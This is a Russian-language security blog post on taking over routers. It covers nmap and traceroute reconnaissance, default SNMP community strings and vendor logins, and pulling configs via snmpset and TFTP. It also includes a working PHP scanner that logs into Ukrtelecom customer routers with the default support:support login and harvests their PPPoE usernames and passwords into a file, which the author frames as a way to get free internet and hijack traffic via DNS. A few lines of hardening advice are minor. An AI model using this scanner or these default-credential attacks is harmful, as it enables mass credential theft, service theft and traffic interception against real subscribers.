Categories: Security

Как получить контроль над роутером.

В сети есть много информации о уязвимостях домашних роутеров которые находят чуть ли не каждую неделю. Сегодня мы покажем несколько примеров как можно проэксплуатировать плохо защищенные домашние роутеры. Мы  рассмотрим примеры определения удаленного роутера, определения типа ОС на которой он установлен, наиболее часто встречающиеся пользователи по умолчанию и другие не маловажные уязвимости.

Определения роутера.

Вам понадобиться порт сканнер (желательно nmap) и простой traceroute. Для примера будем использовать www.myhost.com

Начнем с определения IP адреса роутера который является окном в интернет для www.myhost.com. Делается это так:

bash# traceroute www.myhost.com
1     some.dns.001.com (*.*.*.1)  2.260 ms  1.911 ms  1.363 ms
2     some.dns.002.com (*.*.*.2)  3.952 ms  3.966 ms  4.297 ms
3     some.dns.003.com (*.*.*.3)  4.370 ms  9.422 ms  5.381 ms
4     some.dns.004.com (*.*.*.4)  12.176 ms  13.102 ms  13.050 ms
5     www.myhost.com (*.*.*.5)  43.755 ms  42.683 ms  42.612 ms

как видно, конечной точкой переадресации пакетов является *.*.*.4 — это как раз и есть наш роутер, который будет рассматриваться в дальнейшем.

Следующим шагом будет сканирования портов на данном адресе, для попытки определить на какие порты можно заглянуть для получения более подробной информации о том, с чем мы имеем дело.

bash# nmap -p1-170, 510-520, 2001, 4001, 6001, 7161, 9001 *.*.*.4

Вот таблица портов для некоторых роутеров:

Тип роутера  TCP   UDP

Cisco routers  21(ftp)   0(tcpmux)
   23(telnet)   49(domain)
   79(finger)  67(bootpc)
   80(http)   69(tftp)
   512(exec)  123(ntp)
   513(login)  161(snmp)
   514(shell)
   1993(Cisco snmp) 
   1999(Cisko ident)
   2001
   4001
   6001
   9001(xRemote service)


Bay routers  21(ftp)   7(echo)
   23(telnet)  9(discard)
      67(bootpc)
      68(bootpc)
      69(tftp)
      161(snmp)
      520(route)

Ascend routers  23(telnet)  7(echo)
      9(discard)
      161(snmp)
      162(snmp-trap)
      514(shell)
      520(route)

После сканирования, я думаю не стоит объяснять как определить тип устройства ;). Кстати на многих cisco, при подключении на порт 23 и 2001 вы увидите приглашение типа:

User Access Verification
Password:

Допустим, мы определили тип роутера, но это еще только пол пути. Давайте рассмотрим кое-какие методы поиска информации об операционной системе.

Cisco

1) на 13-ом порту, можно попробовать запустить nmap со следующими параметрами:

bash# nmap -O -p13 -n *.*.*.4

Если порт открыт появиться что-нибудь типа:

Remote operating system guess: Cisco Router …

 2) 2001, 4001, 6001 — являются виртуально терминальными портами, ну не всегда это может быть cisco. Проверить можно вписав в браузер: 

157.130.10.46:2001

 если ответом будет нечто подобное: 

User Access Verification Password: Password: Password: % Bad Password

, то мы на правильном пути. 

3) 9001 порт отвечает за xRemote service отвечающий за запуск xSessions. Подсоединившись на 9001 порт мы получим приглашение:

- Out Bound Xremote srvice -

Ascend

 Любой желающий может прочитать содержимое MIB используя community string read.

Bay

По умолчанию данные роутеры, позволяют читать и изменять SNMP переменные. Для использования данной уязвимости можно войти в систему, используя имя пользователя по умолчанию и далее в приглашении ввести следующее:

show snmp comm types

данная команда выведет все имена для записи и чтения :).

Вот листинг read/write community names для SNMP используемых по умолчанию:

-public
-write
-cisco
-all private
-private
-read
-tivoli
-openview
-monitor
-manager
-security
-default
-password
-network
-community
-secret
-world
-admin

Ну что же, пришло время рассмотреть примеры проникновения на удаленный маршрутизатор. Не для кого не секрет, что многие производители hardware по умолчанию устанавливают акаунты использемые для администрирования и так называемого гостевого входа на роутер. В нашем же случае это можно назвать back door’ом. Зная тип маршрутизатора, можно попробовать ниже приведенные аккаунты для авторизации на роутер:

Устройство  Логин  Пароль  Права
Cisco   enable  cisco  администратор
   23(telnet) c [только для  пользователь
     cisco 2600s]
   23(telnet) cisco  пользователь
   23(telnet) cisco routers пользователь

Bay router  User  [нет пароля] пользователь
   Manager  [нет пароля] администратор

Bay 350T switch  NetICs  NA  администратор

Bay SuperStack II       security        security        администратор

Shiva   root  [нет пароля] администратор
   Guest  [нет пароля] пользователь

WebRamp                 wradmin         trancell        администратор

MotorolaCable           cablecom        router          администратор
Router

3Com   admin  synnet  администратор
   manager  manager  администратор
   write  synnet  администратор
   debug  synnet  администратор
   tech  tech  пользователь
   monitor  monitor  пользователь
   read  synnet  пользователь

Хотите верьте, хотите нет, но данные аккаунты активированы на многих маршрутизаторах. Причиной как всегда является халатность администраторов, которые забывают, либо им лень поменять/удалить данные акаунты. Их, к сожалению, устраивает вариант «пока не поломают — не пофиксю». Определенно данный вариант устраивает не только его ;).

Предлагаю плавно перейти на cisco роутеры, которые на сегодняшний день являются самыми распространенными и зарекомендовавшими себя в деле.

На cisco роутерах есть поддержка старой MIB, что позволяет любому с read/write community name скачать файлы конфигурации (которые хранят зашифрованые пароли) с помощью TFTP. Расшифровать пароли не составит особого труда, т.к. шифруется все XOR’ом. Для проверки роутера на уязвимость можно обратиться сюда www.solarwinds.net (здесь есть вся необходимая информация).

Вот пример стягивания конфиг файла на UNIX машине:

snmpset *.*.*.4 private 1.3.6.1.4.1.9.2.1.55.[ваш tftp хост] s [file.config]

Как я уже упомянул, слабый алгоритм XOR позволит без труда расшифровать пароль. Во избежании этого советую проверить каким алгоритмом зашифрован пароль, для этого можно посмотреть в конфигурации:

show config

 Вариантом с XOR будет нечто похожее на это:

enable password 7 08204E

 Используйте более стойкий алгоритм MD5 для криптования паролей.

Кстати говоря, не только на cisco возможен вариант загрузки файла конфигурации, вы можете просканировать ваш роутер на 69 порт — на котором возможно весит TFTP. Если результат окажется положителельным, то можно попытаться выкачать файл конфигурации следующим образом:

bash# tftp
connect *.*.*.4
get [dns-name].cfg
quit

примером файла конфигурации был [dns-name], т.к. очень часто имя файла конфигурации совпадает с доменным именем маршрутизатора.

Едем дальше….

Слыхали об роутерах от Укртелекома за 1 гривну? Тогда мы идём к вам!

Бувально пару часов назад я заметил, что роутеры Укртелекома доступны из сети и при заходе по их ip доступна панель управления роутером и telnet.

Первой мыслью было одно — найти стандартный пароль для таких роутеров.
После минутного поиска цель была достигнута, логин: пароль — support:support.
Ввожу данные в форму и, как не странно, открывается web-панель управления:

Дальнейшее действие — получить данные от PPPoE соединения: переходим в «Management» -> «Settings» -> «Backup» -> нажимаем «Backup settings». После этих действий в ваших руках оказывается XML-файл, в котором содержатся все настройки роутера, в ком числе логин и пароль от PPPoE.

Но на этом плюшки не заканчиваются! Следующая мысль — написать сканер подсети.
Пример кода ниже:

<?php
set_time_limit(0);
$access = 'support:support'; // логин:пароль
$one = '93.113'; // начало подсети (без точки)

function backup($ip, $access)
{
    $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, 'http://'.$ip.'/backupsettings.conf');
    curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
    // curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 1);
    curl_setopt($curl, CURLOPT_CONNECTTIMEOUT_MS, 200);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_USERPWD, $access);
    $buffer = curl_exec($curl); curl_close($curl);
    if(!empty($buffer))
    {
        return simplexml_load_string($buffer)->InternetGatewayDevice->WANDevice->WANConnectionDevice->WANPPPConnection;
    }
    else return false;
}

for($a = 1; $a < 256; $a++){ // генерация цифер после второй точки
    for($b = 1; $b < 256; $b++){ // генерация цифер после третьей точки
        $file = backup($one.'.'.$a.'.'.$b, $access); // запрос к роутеру
        if($file) 
        {
            $save = fopen('login.txt', 'a+');
            fwrite($save, $file->Username.':'.$file->Password."n"); // запись в файл
            fclose($save);
        }
    }
}
?>

Вот и всё, за интернет можно не платить. В роутере можно указывать свои DNS сервера, после чего злоумышленник получит контроль над всем трафиком.

Стандартный пароль на роутер admin:adslroot

Исходя из этого всего нужно сделать выводы:
1. Правильная настройка роутера и свежая прошивка — защита от мошенников.
2. Скупой платит дважды.

Для решения проблемы необходимо зайти через telnet и выполнить команды:

 iptables -A INPUT -s ! 192.168.1.1 -p tcp --dport 80 -j DROP
 iptables -A INPUT -s ! 192.168.1.1 -p tcp --dport 23 -j DROP
 save

Роутеры Huawei HG530 и ZTE ZXV10 H108L вышеописанного безобразия не имеют, пользоваться ими можно спокойно. Web-интерфейс точно доступен из сети на роутерах Glitel, за другие пока не известно.

Помимо всего того, что я перечислил в данной статье, существует множество других способов как получить контроль над роутером такие как: dsniff, ARP переадресация, RIP spoofing … Мы обязательно раскажем о них на нашем сайте в будущем.

Вероятно вам будет интересно почитать также:

Как проверить и улучшить безопасность роутера.

Medusa. Как взломать пароль от Wi-Fi роутера.

WiFi Pineapple – инструмент для взлома беспроводных сетей

Как с помощью DD-WRT дополнить возможности беспроводного маршрутизатора функционалом Linux

Click to rate this post!
[Total: 3 Average: 3.3]
cryptoworld

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

Recent Posts

Лучший адаптер беспроводной сети для взлома Wi-Fi

Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…

12 месяцев ago

Как пользоваться инструментом FFmpeg

Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…

1 год ago

Как создать собственный VPN-сервис

Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…

1 год ago

ChatGPT против HIX Chat: какой чат-бот с искусственным интеллектом лучше?

С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…

1 год ago

Разведка по Wi-Fi и GPS с помощью Sparrow-wifi

Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…

1 год ago

Как обнаружить угрозы в памяти

Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…

1 год ago